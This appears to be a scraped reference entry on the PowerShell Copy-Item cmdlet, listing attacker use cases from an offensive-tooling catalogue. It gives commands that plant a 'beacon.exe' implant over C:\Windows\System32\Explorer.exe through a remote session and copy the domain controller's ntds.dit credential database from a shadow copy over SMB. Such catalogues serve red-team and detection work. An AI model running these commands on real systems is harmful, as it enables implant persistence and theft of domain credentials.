Copies an item from one location to another
Functions: | |
Type: | |
Toolsets: |
Copy-Item -Path C:\boot.ini -Destination . -FromSession $ps
Usecase
$ps
using New-PSSession
Microsoft.PowerShell.Management
Copy-Item -Path C:\beacon.exe -Destination C:\Windows\System32\Explorer.exe -ToSession $ps
Usecase
$ps
using New-PSSession
Microsoft.PowerShell.Management
Copy-Item -Path \\DC01.ad.bitsadmin.com\C$\@GMT-2023.06.01-19.34.01\Windows\NTDS\ntds.dit -Destination C:\Tmp\
Usecase
ntds.dit
from shadow copy over SMB
$ps
using New-PSSession
Microsoft.PowerShell.Management